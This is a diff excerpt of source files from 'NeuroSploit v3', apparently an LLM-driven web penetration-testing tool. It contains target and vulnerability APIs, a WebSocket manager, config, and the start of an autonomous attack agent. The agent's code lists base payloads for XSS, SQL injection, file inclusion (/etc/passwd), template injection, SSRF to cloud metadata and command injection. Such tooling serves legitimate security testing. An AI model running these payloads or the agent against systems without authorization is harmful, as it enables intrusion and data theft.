],
"network": [
"curl", "wget", "dig", "whois"
]
}
results = {}
total_installed = 0
total_tools = 0
for category, tool_list in tools.items():
results[category] = {}
for tool in tool_list:
total_tools += 1
# Check if tool exists in PATH
is_installed = shutil.which(tool) is not None
results[category][tool] = is_installed
if is_installed:
total_installed += 1
return {
"tools": results,
"summary": {
"total": total_tools,
"installed": total_installed,
"missing": total_tools - total_installed,
"percentage": round((total_installed / total_tools) * 100, 1)
}
}
+142
View File
@@ -0,0 +1,142 @@
"""
NeuroSploit v3 - Targets API Endpoints
"""
from typing import List
from fastapi import APIRouter, Depends, HTTPException, UploadFile, File
from sqlalchemy.ext.asyncio import AsyncSession
from urllib.parse import urlparse
import re
from backend.db.database import get_db
from backend.schemas.target import TargetCreate, TargetBulkCreate, TargetValidation, TargetResponse
router = APIRouter()
def validate_url(url: str) -> TargetValidation:
"""Validate and parse a URL"""
url = url.strip()
if not url:
return TargetValidation(url=url, valid=False, error="URL is empty")
# URL pattern
url_pattern = re.compile(
r'^https?://'
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+[A-Z]{2,6}\.?|'
r'localhost|'
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
r'(?::\d+)?'
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
# Try with the URL as-is
if url_pattern.match(url):
normalized = url
elif url_pattern.match(f"https://{url}"):
normalized = f"https://{url}"
else:
return TargetValidation(url=url, valid=False, error="Invalid URL format")
# Parse URL
parsed = urlparse(normalized)
return TargetValidation(
url=url,
valid=True,
normalized_url=normalized,
hostname=parsed.hostname,
port=parsed.port or (443 if parsed.scheme == "https" else 80),
protocol=parsed.scheme
)
@router.post("/validate", response_model=TargetValidation)
async def validate_target(target: TargetCreate):
"""Validate a single target URL"""
return validate_url(target.url)
@router.post("/validate/bulk", response_model=List[TargetValidation])
async def validate_targets_bulk(targets: TargetBulkCreate):
"""Validate multiple target URLs"""
results = []
for url in targets.urls:
results.append(validate_url(url))
return results
@router.post("/upload", response_model=List[TargetValidation])
async def upload_targets(file: UploadFile = File(...)):
"""Upload a file with URLs (one per line)"""
if not file.filename:
raise HTTPException(status_code=400, detail="No file provided")
# Check file extension
allowed_extensions = {".txt", ".csv", ".lst"}
ext = "." + file.filename.split(".")[-1].lower() if "." in file.filename else ""
if ext not in allowed_extensions:
raise HTTPException(
status_code=400,
detail=f"Invalid file type. Allowed: {', '.join(allowed_extensions)}"
)
# Read file content
content = await file.read()
try:
text = content.decode("utf-8")
except UnicodeDecodeError:
try:
text = content.decode("latin-1")
except Exception:
raise HTTPException(status_code=400, detail="Unable to decode file")
# Parse URLs (one per line, or comma-separated)
urls = []
for line in text.split("\n"):
line = line.strip()
if not line or line.startswith("#"):
continue
# Handle comma-separated URLs
if "," in line and "://" in line:
for url in line.split(","):
url = url.strip()
if url:
urls.append(url)
else:
urls.append(line)
if not urls:
raise HTTPException(status_code=400, detail="No URLs found in file")
# Validate all URLs
results = []
for url in urls:
results.append(validate_url(url))
return results
@router.post("/parse-input", response_model=List[TargetValidation])
async def parse_target_input(input_text: str):
"""Parse target input (comma-separated or newline-separated)"""
urls = []
# Split by newlines first
for line in input_text.split("\n"):
line = line.strip()
if not line:
continue
# Then split by commas
for url in line.split(","):
url = url.strip()
if url:
urls.append(url)
if not urls:
raise HTTPException(status_code=400, detail="No URLs provided")
results = []
for url in urls:
results.append(validate_url(url))
return results
+389
View File
@@ -0,0 +1,389 @@
"""
NeuroSploit v3 - Vulnerabilities API Endpoints
"""
from typing import List
from fastapi import APIRouter, Depends, HTTPException
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select
from backend.db.database import get_db
from backend.models import Vulnerability
from backend.schemas.vulnerability import VulnerabilityResponse, VulnerabilityTypeInfo
router = APIRouter()
# Vulnerability type definitions
VULNERABILITY_TYPES = {
"injection": {
"xss_reflected": {
"name": "Reflected XSS",
"description": "Cross-site scripting via user input reflected in response",
"severity_range": "medium-high",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-79"]
},
"xss_stored": {
"name": "Stored XSS",
"description": "Cross-site scripting stored in application database",
"severity_range": "high-critical",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-79"]
},
"xss_dom": {
"name": "DOM-based XSS",
"description": "Cross-site scripting via DOM manipulation",
"severity_range": "medium-high",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-79"]
},
"sqli_error": {
"name": "Error-based SQL Injection",
"description": "SQL injection detected via error messages",
"severity_range": "high-critical",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-89"]
},
"sqli_union": {
"name": "Union-based SQL Injection",
"description": "SQL injection exploitable via UNION queries",
"severity_range": "critical",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-89"]
},
"sqli_blind": {
"name": "Blind SQL Injection",
"description": "SQL injection without visible output",
"severity_range": "high-critical",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-89"]
},
"sqli_time": {
"name": "Time-based SQL Injection",
"description": "SQL injection detected via response time",
"severity_range": "high-critical",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-89"]
},
"command_injection": {
"name": "Command Injection",
"description": "OS command injection vulnerability",
"severity_range": "critical",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-78"]
},
"ssti": {
"name": "Server-Side Template Injection",
"description": "Template injection allowing code execution",
"severity_range": "high-critical",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-94"]
},
"ldap_injection": {
"name": "LDAP Injection",
"description": "LDAP query injection",
"severity_range": "high",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-90"]
},
"xpath_injection": {
"name": "XPath Injection",
"description": "XPath query injection",
"severity_range": "medium-high",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-643"]
},
"nosql_injection": {
"name": "NoSQL Injection",
"description": "NoSQL database injection",
"severity_range": "high-critical",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-943"]
},
"header_injection": {
"name": "HTTP Header Injection",
"description": "Injection into HTTP headers",
"severity_range": "medium-high",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-113"]
},
"crlf_injection": {
"name": "CRLF Injection",
"description": "Carriage return line feed injection",
"severity_range": "medium",
"owasp_category": "A03:2021",
"cwe_ids": ["CWE-93"]
}
},
"file_access": {
"lfi": {
"name": "Local File Inclusion",
"description": "Include local files via path manipulation",
"severity_range": "high-critical",
"owasp_category": "A01:2021",
"cwe_ids": ["CWE-98"]
},
"rfi": {
"name": "Remote File Inclusion",
"description": "Include remote files for code execution",
"severity_range": "critical",
"owasp_category": "A01:2021",
"cwe_ids": ["CWE-98"]
},
"path_traversal": {
"name": "Path Traversal",
"description": "Access files outside web root",
"severity_range": "high",
"owasp_category": "A01:2021",
"cwe_ids": ["CWE-22"]
},
"file_upload": {
"name": "Arbitrary File Upload",
"description": "Upload malicious files",
"severity_range": "high-critical",
"owasp_category": "A04:2021",
"cwe_ids": ["CWE-434"]
},
"xxe": {
"name": "XML External Entity",
"description": "XXE injection vulnerability",
"severity_range": "high-critical",
"owasp_category": "A05:2021",
"cwe_ids": ["CWE-611"]
}
},
"request_forgery": {
"ssrf": {
"name": "Server-Side Request Forgery",
"description": "Forge requests from the server",
"severity_range": "high-critical",
"owasp_category": "A10:2021",
"cwe_ids": ["CWE-918"]
},
"ssrf_cloud": {
"name": "SSRF to Cloud Metadata",
"description": "SSRF accessing cloud provider metadata",
"severity_range": "critical",
"owasp_category": "A10:2021",
"cwe_ids": ["CWE-918"]
},
"csrf": {
"name": "Cross-Site Request Forgery",
"description": "Forge requests as authenticated user",
"severity_range": "medium-high",
"owasp_category": "A01:2021",
"cwe_ids": ["CWE-352"]
}
},
"authentication": {
"auth_bypass": {
"name": "Authentication Bypass",
"description": "Bypass authentication mechanisms",
"severity_range": "critical",
"owasp_category": "A07:2021",
"cwe_ids": ["CWE-287"]
},
"session_fixation": {
"name": "Session Fixation",
"description": "Force known session ID on user",
"severity_range": "high",
"owasp_category": "A07:2021",
"cwe_ids": ["CWE-384"]
},
"jwt_manipulation": {
"name": "JWT Token Manipulation",
"description": "Manipulate JWT tokens for auth bypass",
"severity_range": "high-critical",
"owasp_category": "A07:2021",
"cwe_ids": ["CWE-347"]
},
"weak_password_policy": {
"name": "Weak Password Policy",
"description": "Application accepts weak passwords",
"severity_range": "medium",
"owasp_category": "A07:2021",
"cwe_ids": ["CWE-521"]
}
},
"authorization": {
"idor": {
"name": "Insecure Direct Object Reference",
"description": "Access objects without proper authorization",
"severity_range": "high",
"owasp_category": "A01:2021",
"cwe_ids": ["CWE-639"]
},
"bola": {
"name": "Broken Object Level Authorization",
"description": "API-level object authorization bypass",
"severity_range": "high",
"owasp_category": "A01:2021",
"cwe_ids": ["CWE-639"]
},
"privilege_escalation": {
"name": "Privilege Escalation",
"description": "Escalate to higher privilege level",
"severity_range": "critical",
"owasp_category": "A01:2021",
"cwe_ids": ["CWE-269"]
}
},
"api_security": {
"rate_limiting": {
"name": "Missing Rate Limiting",
"description": "No rate limiting on sensitive endpoints",
"severity_range": "medium",
"owasp_category": "A04:2021",
"cwe_ids": ["CWE-770"]
},
"mass_assignment": {
"name": "Mass Assignment",
"description": "Modify unintended object properties",
"severity_range": "high",
"owasp_category": "A04:2021",
"cwe_ids": ["CWE-915"]
},
"excessive_data": {
"name": "Excessive Data Exposure",
"description": "API returns more data than needed",
"severity_range": "medium-high",
"owasp_category": "A01:2021",
"cwe_ids": ["CWE-200"]
},
"graphql_introspection": {
"name": "GraphQL Introspection Enabled",
"description": "GraphQL schema exposed via introspection",
"severity_range": "low-medium",
"owasp_category": "A05:2021",
"cwe_ids": ["CWE-200"]
}
},
"client_side": {
"cors_misconfig": {
"name": "CORS Misconfiguration",
"description": "Permissive CORS policy",
"severity_range": "medium-high",
"owasp_category": "A05:2021",
"cwe_ids": ["CWE-942"]
},
"clickjacking": {
"name": "Clickjacking",
"description": "Page can be framed for clickjacking",
"severity_range": "medium",
"owasp_category": "A05:2021",
"cwe_ids": ["CWE-1021"]
},
"open_redirect": {
"name": "Open Redirect",
"description": "Redirect to arbitrary URLs",
"severity_range": "low-medium",
"owasp_category": "A01:2021",
"cwe_ids": ["CWE-601"]
}
},
"information_disclosure": {
"error_disclosure": {
"name": "Error Message Disclosure",
"description": "Detailed error messages exposed",
"severity_range": "low-medium",
"owasp_category": "A05:2021",
"cwe_ids": ["CWE-209"]
},
"sensitive_data": {
"name": "Sensitive Data Exposure",
"description": "Sensitive information exposed",
"severity_range": "medium-high",
"owasp_category": "A02:2021",
"cwe_ids": ["CWE-200"]
},
"debug_endpoints": {
"name": "Debug Endpoints Exposed",
"description": "Debug/admin endpoints accessible",
"severity_range": "high",
"owasp_category": "A05:2021",
"cwe_ids": ["CWE-489"]
}
},
"infrastructure": {
"security_headers": {
"name": "Missing Security Headers",
"description": "Important security headers not set",
"severity_range": "low-medium",
"owasp_category": "A05:2021",
"cwe_ids": ["CWE-693"]
},
"ssl_issues": {
"name": "SSL/TLS Issues",
"description": "Weak SSL/TLS configuration",
"severity_range": "medium",
"owasp_category": "A02:2021",
"cwe_ids": ["CWE-326"]
},
"http_methods": {
"name": "Dangerous HTTP Methods",
"description": "Dangerous HTTP methods enabled",
"severity_range": "low-medium",
"owasp_category": "A05:2021",
"cwe_ids": ["CWE-749"]
}
},
"logic_flaws": {
"race_condition": {
"name": "Race Condition",
"description": "Exploitable race condition",
"severity_range": "medium-high",
"owasp_category": "A04:2021",
"cwe_ids": ["CWE-362"]
},
"business_logic": {
"name": "Business Logic Flaw",
"description": "Exploitable business logic error",
"severity_range": "varies",
"owasp_category": "A04:2021",
"cwe_ids": ["CWE-840"]
}
}
}
@router.get("/types")
async def get_vulnerability_types():
"""Get all vulnerability types organized by category"""
return VULNERABILITY_TYPES
@router.get("/types/{category}")
async def get_vulnerability_types_by_category(category: str):
"""Get vulnerability types for a specific category"""
if category not in VULNERABILITY_TYPES:
raise HTTPException(status_code=404, detail=f"Category '{category}' not found")
return VULNERABILITY_TYPES[category]
@router.get("/types/{category}/{vuln_type}", response_model=VulnerabilityTypeInfo)
async def get_vulnerability_type_info(category: str, vuln_type: str):
"""Get detailed info for a specific vulnerability type"""
if category not in VULNERABILITY_TYPES:
raise HTTPException(status_code=404, detail=f"Category '{category}' not found")
if vuln_type not in VULNERABILITY_TYPES[category]:
raise HTTPException(status_code=404, detail=f"Type '{vuln_type}' not found in category '{category}'")
info = VULNERABILITY_TYPES[category][vuln_type]
return VulnerabilityTypeInfo(
type=vuln_type,
category=category,
**info
)
@router.get("/{vuln_id}", response_model=VulnerabilityResponse)
async def get_vulnerability(vuln_id: str, db: AsyncSession = Depends(get_db)):
"""Get a specific vulnerability by ID"""
result = await db.execute(select(Vulnerability).where(Vulnerability.id == vuln_id))
vuln = result.scalar_one_or_none()
if not vuln:
raise HTTPException(status_code=404, detail="Vulnerability not found")
return VulnerabilityResponse(**vuln.to_dict())
+155
View File
@@ -0,0 +1,155 @@
"""
NeuroSploit v3 - WebSocket Manager
"""
from typing import Dict, List, Optional
from fastapi import WebSocket
import json
import asyncio
class ConnectionManager:
"""Manages WebSocket connections for real-time updates"""
def __init__(self):
# scan_id -> list of websocket connections
self.active_connections: Dict[str, List[WebSocket]] = {}
self._lock = asyncio.Lock()
async def connect(self, websocket: WebSocket, scan_id: str):
"""Accept a WebSocket connection and register it for a scan"""
await websocket.accept()
async with self._lock:
if scan_id not in self.active_connections:
self.active_connections[scan_id] = []
self.active_connections[scan_id].append(websocket)
print(f"WebSocket connected for scan: {scan_id}")
def disconnect(self, websocket: WebSocket, scan_id: str):
"""Remove a WebSocket connection"""
if scan_id in self.active_connections:
if websocket in self.active_connections[scan_id]:
self.active_connections[scan_id].remove(websocket)
if not self.active_connections[scan_id]:
del self.active_connections[scan_id]
print(f"WebSocket disconnected for scan: {scan_id}")
async def send_to_scan(self, scan_id: str, message: dict):
"""Send a message to all connections watching a specific scan"""
if scan_id not in self.active_connections:
return
dead_connections = []
for connection in self.active_connections[scan_id]:
try:
await connection.send_text(json.dumps(message))
except Exception:
dead_connections.append(connection)
# Clean up dead connections
for conn in dead_connections:
self.disconnect(conn, scan_id)
async def broadcast_scan_started(self, scan_id: str):
"""Notify that a scan has started"""
await self.send_to_scan(scan_id, {
"type": "scan_started",
"scan_id": scan_id
})
async def broadcast_phase_change(self, scan_id: str, phase: str):
"""Notify phase change (recon, testing, reporting)"""
await self.send_to_scan(scan_id, {
"type": "phase_change",
"scan_id": scan_id,
"phase": phase
})
async def broadcast_progress(self, scan_id: str, progress: int, message: Optional[str] = None):
"""Send progress update"""
await self.send_to_scan(scan_id, {
"type": "progress_update",
"scan_id": scan_id,
"progress": progress,
"message": message
})
async def broadcast_endpoint_found(self, scan_id: str, endpoint: dict):
"""Notify a new endpoint was discovered"""
await self.send_to_scan(scan_id, {
"type": "endpoint_found",
"scan_id": scan_id,
"endpoint": endpoint
})
async def broadcast_path_crawled(self, scan_id: str, path: str, status: int):
"""Notify a path was crawled"""
await self.send_to_scan(scan_id, {
"type": "path_crawled",
"scan_id": scan_id,
"path": path,
"status": status
})
async def broadcast_url_discovered(self, scan_id: str, url: str):
"""Notify a URL was discovered"""
await self.send_to_scan(scan_id, {
"type": "url_discovered",
"scan_id": scan_id,
"url": url
})
async def broadcast_test_started(self, scan_id: str, vuln_type: str, endpoint: str):
"""Notify a vulnerability test has started"""
await self.send_to_scan(scan_id, {
"type": "test_started",
"scan_id": scan_id,
"vulnerability_type": vuln_type,
"endpoint": endpoint
})
async def broadcast_test_completed(self, scan_id: str, vuln_type: str, endpoint: str, is_vulnerable: bool):
"""Notify a vulnerability test has completed"""
await self.send_to_scan(scan_id, {
"type": "test_completed",
"scan_id": scan_id,
"vulnerability_type": vuln_type,
"endpoint": endpoint,
"is_vulnerable": is_vulnerable
})
async def broadcast_vulnerability_found(self, scan_id: str, vulnerability: dict):
"""Notify a vulnerability was found"""
await self.send_to_scan(scan_id, {
"type": "vuln_found",
"scan_id": scan_id,
"vulnerability": vulnerability
})
async def broadcast_log(self, scan_id: str, level: str, message: str):
"""Send a log message"""
await self.send_to_scan(scan_id, {
"type": "log_message",
"scan_id": scan_id,
"level": level,
"message": message
})
async def broadcast_scan_completed(self, scan_id: str, summary: dict):
"""Notify that a scan has completed"""
await self.send_to_scan(scan_id, {
"type": "scan_completed",
"scan_id": scan_id,
"summary": summary
})
async def broadcast_error(self, scan_id: str, error: str):
"""Notify an error occurred"""
await self.send_to_scan(scan_id, {
"type": "error",
"scan_id": scan_id,
"error": error
})
# Global instance
manager = ConnectionManager()
+56
View File
@@ -0,0 +1,56 @@
"""
NeuroSploit v3 - Configuration
"""
import os
from pathlib import Path
from typing import Optional
from pydantic_settings import BaseSettings
class Settings(BaseSettings):
"""Application settings"""
# Application
APP_NAME: str = "NeuroSploit v3"
APP_VERSION: str = "3.0.0"
DEBUG: bool = True
# Server
HOST: str = "0.0.0.0"
PORT: int = 8000
# Database
DATABASE_URL: str = "sqlite+aiosqlite:///./data/neurosploit.db"
# Paths
BASE_DIR: Path = Path(__file__).parent.parent
DATA_DIR: Path = BASE_DIR / "data"
REPORTS_DIR: Path = DATA_DIR / "reports"
SCANS_DIR: Path = DATA_DIR / "scans"
PROMPTS_DIR: Path = BASE_DIR / "prompts"
# LLM Settings
ANTHROPIC_API_KEY: Optional[str] = os.getenv("ANTHROPIC_API_KEY")
OPENAI_API_KEY: Optional[str] = os.getenv("OPENAI_API_KEY")
DEFAULT_LLM_PROVIDER: str = "claude"
DEFAULT_LLM_MODEL: str = "claude-sonnet-4-20250514"
# Scan Settings
MAX_CONCURRENT_SCANS: int = 3
DEFAULT_TIMEOUT: int = 30
MAX_REQUESTS_PER_SECOND: int = 10
# CORS
CORS_ORIGINS: list = ["http://localhost:3000", "http://127.0.0.1:3000"]
class Config:
env_file = ".env"
case_sensitive = True
settings = Settings()
# Ensure directories exist
settings.DATA_DIR.mkdir(parents=True, exist_ok=True)
settings.REPORTS_DIR.mkdir(parents=True, exist_ok=True)
settings.SCANS_DIR.mkdir(parents=True, exist_ok=True)
+1
View File
@@ -0,0 +1 @@
# Core modules
+889
View File
@@ -0,0 +1,889 @@
"""
NeuroSploit v3 - AI Offensive Security Agent
This is a TRUE AI AGENT that:
1. Uses LLM for INTELLIGENT vulnerability testing (not blind payloads)
2. Analyzes responses with AI to confirm vulnerabilities (no false positives)
3. Uses recon data to inform testing strategy
4. Accepts custom .md prompt files
5. Generates real PoC code and exploitation steps
AUTHORIZATION: This is an authorized penetration testing tool.
All actions are performed with explicit permission.
"""
import asyncio
import aiohttp
import json
import re
import os
import sys
from typing import Dict, List, Any, Optional, Callable, Tuple
from dataclasses import dataclass, field
from datetime import datetime
from urllib.parse import urljoin, urlparse, parse_qs, urlencode, quote
from enum import Enum
from pathlib import Path
# Add parent path for imports
sys.path.insert(0, str(Path(__file__).parent.parent.parent))
try:
from core.llm_manager import LLMManager
except ImportError:
LLMManager = None
class AgentAction(Enum):
"""Actions the agent can take"""
DISCOVER = "discover"
TEST = "test"
EXPLOIT = "exploit"
CHAIN = "chain"
REPORT = "report"
PIVOT = "pivot"
@dataclass
class Finding:
"""A vulnerability finding with exploitation details"""
vuln_type: str
severity: str
endpoint: str
payload: str
evidence: str
exploitable: bool
confidence: str = "high" # high, medium, low
exploitation_steps: List[str] = field(default_factory=list)
poc_code: str = ""
impact: str = ""
chained_with: List[str] = field(default_factory=list)
raw_request: str = ""
raw_response: str = ""
llm_analysis: str = ""
@dataclass
class AgentState:
"""Current state of the AI agent"""
target: str
discovered_endpoints: List[str] = field(default_factory=list)
discovered_params: Dict[str, List[str]] = field(default_factory=dict)
technologies: List[str] = field(default_factory=list)
findings: List[Finding] = field(default_factory=list)
tested_payloads: Dict[str, List[str]] = field(default_factory=dict)
session_cookies: Dict[str, str] = field(default_factory=dict)
auth_tokens: List[str] = field(default_factory=list)
waf_detected: bool = False
waf_type: str = ""
current_phase: str = "recon"
actions_taken: List[str] = field(default_factory=list)
recon_context: Optional[Dict] = None
class AIPentestAgent:
"""
Autonomous AI Agent for Offensive Security Testing
This agent uses LLM to make INTELLIGENT decisions:
- What to test based on recon data
- How to craft context-aware payloads
- How to analyze responses to CONFIRM vulnerabilities
- How to chain attacks for maximum impact
NO FALSE POSITIVES - Every finding is confirmed by AI analysis.
"""
def __init__(
self,
target: str,
llm_manager: Optional[Any] = None,
log_callback: Optional[Callable] = None,
auth_headers: Optional[Dict] = None,
max_depth: int = 5,
prompt_file: Optional[str] = None,
recon_context: Optional[Dict] = None,
config: Optional[Dict] = None
):
self.target = target
self.llm_manager = llm_manager
self.log = log_callback or self._default_log
self.auth_headers = auth_headers or {}
self.max_depth = max_depth
self.prompt_file = prompt_file
self.custom_prompt = None
self.config = config or {}
self.state = AgentState(target=target, recon_context=recon_context)
self.session: Optional[aiohttp.ClientSession] = None
# Load custom prompt if provided
if prompt_file:
self._load_custom_prompt(prompt_file)
# Initialize LLM manager if not provided
if not self.llm_manager and LLMManager and config:
try:
self.llm_manager = LLMManager(config)
except Exception as e:
print(f"Warning: Could not initialize LLM manager: {e}")
# Base payloads - LLM will enhance these based on context
self.base_payloads = self._load_base_payloads()
async def _default_log(self, level: str, message: str):
print(f"[{level.upper()}] {message}")
def _load_custom_prompt(self, prompt_file: str):
"""Load custom prompt from .md file"""
try:
path = Path(prompt_file)
if not path.exists():
# Try in prompts directory
path = Path("prompts") / prompt_file
if not path.exists():
path = Path("prompts/md_library") / prompt_file
if path.exists():
content = path.read_text()
self.custom_prompt = content
print(f"[+] Loaded custom prompt from: {path}")
else:
print(f"[!] Prompt file not found: {prompt_file}")
except Exception as e:
print(f"[!] Error loading prompt file: {e}")
def _load_base_payloads(self) -> Dict[str, List[str]]:
"""Load base attack payloads - LLM will enhance these"""
return {
"xss": [
"<script>alert(1)</script>",
"\"><script>alert(1)</script>",
"'-alert(1)-'",
"<img src=x onerror=alert(1)>",
],
"sqli": [
"'", "\"", "' OR '1'='1", "1' AND '1'='1",
"' UNION SELECT NULL--", "1' AND SLEEP(3)--",
],
"lfi": [
"../../../etc/passwd",
"....//....//etc/passwd",
"php://filter/convert.base64-encode/resource=index.php",
],
"ssti": [
"{{7*7}}", "${7*7}", "<%= 7*7 %>",
"{{config}}", "{{self.__class__}}",
],
"ssrf": [
"http://127.0.0.1", "http://localhost",
"http://169.254.169.254/latest/meta-data/",
],
"rce": [
"; id", "| id", "$(id)", "`id`",
],
}
async def __aenter__(self):
connector = aiohttp.TCPConnector(ssl=False, limit=10)
timeout = aiohttp.ClientTimeout(total=30)
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
headers.update(self.auth_headers)
self.session = aiohttp.ClientSession(connector=connector, timeout=timeout, headers=headers)
return self
async def __aexit__(self, *args):
if self.session:
await self.session.close()
async def run(self) -> Dict[str, Any]:
"""
Main agent loop - Think, Act, Observe, Adapt
Uses LLM for intelligent decision making at each step.
"""
await self.log("info", "=" * 60)
await self.log("info", "AI OFFENSIVE SECURITY AGENT ACTIVATED")
await self.log("info", "=" * 60)
await self.log("info", f"Target: {self.target}")
await self.log("info", f"Mode: LLM-POWERED INTELLIGENT TESTING")
if self.custom_prompt:
await self.log("info", f"Custom prompt loaded: {len(self.custom_prompt)} chars")
await self.log("info", "")
try:
# Phase 1: Reconnaissance (use recon data if available)
await self.log("info", "[PHASE 1] RECONNAISSANCE")
await self._recon_phase()
# Phase 2: LLM-Powered Vulnerability Testing
await self.log("info", "")
await self.log("info", "[PHASE 2] INTELLIGENT VULNERABILITY TESTING")
await self._testing_phase()
# Phase 3: Exploitation (only confirmed vulnerabilities)
if self.state.findings:
await self.log("info", "")
await self.log("info", "[PHASE 3] EXPLOITATION")
await self._exploitation_phase()
# Phase 4: Attack Chaining
if len(self.state.findings) > 1:
await self.log("info", "")
await self.log("info", "[PHASE 4] ATTACK CHAINING")
await self._chaining_phase()
# Generate Report
await self.log("info", "")
await self.log("info", "[PHASE 5] REPORT GENERATION")
report = await self._generate_report()
return report
except Exception as e:
await self.log("error", f"Agent error: {str(e)}")
import traceback
traceback.print_exc()
return {"error": str(e), "findings": [f.__dict__ for f in self.state.findings]}
async def _recon_phase(self):
"""Reconnaissance - use existing recon data or perform basic discovery"""
# Use recon context if available
if self.state.recon_context:
await self.log("info", " Using provided recon context...")
await self._load_recon_context()
else:
await self.log("info", " Performing basic reconnaissance...")
await self._basic_recon()
await self.log("info", f" Found {len(self.state.discovered_endpoints)} endpoints")
await self.log("info", f" Found {sum(len(v) for v in self.state.discovered_params.values())} parameters")
await self.log("info", f" Technologies: {', '.join(self.state.technologies[:5]) or 'Unknown'}")
async def _load_recon_context(self):
"""Load data from recon context"""
ctx = self.state.recon_context
# Load endpoints from various recon sources
if ctx.get("data", {}).get("endpoints"):
self.state.discovered_endpoints.extend(ctx["data"]["endpoints"][:100])
if ctx.get("data", {}).get("urls"):
self.state.discovered_endpoints.extend(ctx["data"]["urls"][:100])
if ctx.get("data", {}).get("crawled_urls"):
self.state.discovered_endpoints.extend(ctx["data"]["crawled_urls"][:100])
# Load parameters
if ctx.get("data", {}).get("parameters"):
for param_data in ctx["data"]["parameters"]:
if isinstance(param_data, dict):
url = param_data.get("url", self.target)
params = param_data.get("params", [])
self.state.discovered_params[url] = params
elif isinstance(param_data, str):
self.state.discovered_params[self.target] = self.state.discovered_params.get(self.target, []) + [param_data]
# Load technologies
if ctx.get("data", {}).get("technologies"):
self.state.technologies.extend(ctx["data"]["technologies"])
# Load from attack surface
if ctx.get("attack_surface"):
surface = ctx["attack_surface"]
if surface.get("live_hosts"):
for host in surface.get("live_urls", [])[:50]:
if host not in self.state.discovered_endpoints:
self.state.discovered_endpoints.append(host)
# Deduplicate
self.state.discovered_endpoints = list(set(self.state.discovered_endpoints))
async def _basic_recon(self):
"""Perform basic reconnaissance when no recon data is available"""
# Fingerprint
await self._fingerprint_target()
# Discover common endpoints
common_paths = [
"/", "/login", "/admin", "/api", "/api/v1",
"/user", "/search", "/upload", "/config",
"/?id=1", "/?page=1", "/?q=test",
]
parsed = urlparse(self.target)
base_url = f"{parsed.scheme}://{parsed.netloc}"
for path in common_paths:
url = urljoin(base_url, path)
try:
async with self.session.get(url, allow_redirects=False) as resp:
if resp.status < 400 and resp.status != 404:
self.state.discovered_endpoints.append(url)
# Extract params
if "?" in url:
parsed_url = urlparse(url)
params = list(parse_qs(parsed_url.query).keys())
self.state.discovered_params[url] = params
except:
pass
async def _fingerprint_target(self):
"""Fingerprint the target"""
try:
async with self.session.get(self.target) as resp:
body = await resp.text()
headers = dict(resp.headers)
# Server detection
server = headers.get("Server", "")
if server:
self.state.technologies.append(f"Server: {server}")
# X-Powered-By
powered = headers.get("X-Powered-By", "")
if powered:
self.state.technologies.append(powered)
# Technology signatures
tech_sigs = {
"PHP": [".php", "PHPSESSID"],
"ASP.NET": [".aspx", "__VIEWSTATE"],
"Java": [".jsp", "JSESSIONID"],
"Python": ["django", "flask"],
"Node.js": ["express", "connect.sid"],
"WordPress": ["wp-content", "wp-includes"],
"Laravel": ["laravel", "XSRF-TOKEN"],
}
for tech, sigs in tech_sigs.items():
for sig in sigs:
if sig.lower() in body.lower() or sig in str(headers):
if tech not in self.state.technologies:
self.state.technologies.append(tech)
break
except Exception as e:
await self.log("debug", f"Fingerprint error: {e}")
async def _testing_phase(self):
"""LLM-powered vulnerability testing"""
# Determine what to test based on recon data
test_strategy = await self._get_test_strategy()
# Get endpoints to test
endpoints = self.state.discovered_endpoints[:20] or [self.target]
for endpoint in endpoints:
await self.log("info", f" Testing: {endpoint[:60]}...")
for vuln_type in test_strategy:
# Get LLM-enhanced payloads for this context
payloads = await self._get_smart_payloads(endpoint, vuln_type)
for payload in payloads[:5]:
result = await self._test_and_verify(endpoint, vuln_type, payload)
if result and result.get("confirmed"):
finding = Finding(
vuln_type=vuln_type,
severity=self._get_severity(vuln_type),
endpoint=endpoint,
payload=payload,
evidence=result.get("evidence", ""),
exploitable=result.get("exploitable", False),
confidence=result.get("confidence", "high"),
llm_analysis=result.get("analysis", ""),
raw_request=result.get("request", ""),
raw_response=result.get("response", "")[:2000],
impact=self._get_impact(vuln_type),
)
self.state.findings.append(finding)
await self.log("warning", f" [CONFIRMED] {vuln_type.upper()} - {result.get('confidence', 'high')} confidence")
break # Found vuln, move to next type
async def _get_test_strategy(self) -> List[str]:
"""Use LLM to determine what to test based on recon data"""
# Default strategy
default_strategy = ["xss", "sqli", "lfi", "ssti", "ssrf"]
if not self.llm_manager:
return default_strategy
try:
# Build context for LLM
context = {
"target": self.target,
"technologies": self.state.technologies,
"endpoints_count": len(self.state.discovered_endpoints),
"parameters_count": sum(len(v) for v in self.state.discovered_params.values()),
"sample_endpoints": self.state.discovered_endpoints[:5],
}
prompt = f"""Based on the following reconnaissance data, determine the most likely vulnerability types to test.
Target: {context['target']}
Technologies detected: {', '.join(context['technologies']) or 'Unknown'}
Endpoints found: {context['endpoints_count']}
Parameters found: {context['parameters_count']}
Sample endpoints: {context['sample_endpoints']}
Custom instructions: {self.custom_prompt[:500] if self.custom_prompt else 'None'}
Return a JSON array of vulnerability types to test, ordered by likelihood.
Valid types: xss, sqli, lfi, rce, ssti, ssrf, xxe, idor, open_redirect
Example: ["sqli", "xss", "lfi"]
IMPORTANT: Only return the JSON array, no other text."""
response = self.llm_manager.generate(prompt, "You are a penetration testing expert. Analyze recon data and suggest vulnerability tests.")
# Parse response
try:
# Find JSON array in response
match = re.search(r'\[.*?\]', response, re.DOTALL)
if match:
strategy = json.loads(match.group())
if isinstance(strategy, list) and len(strategy) > 0:
return strategy[:7]
except:
pass
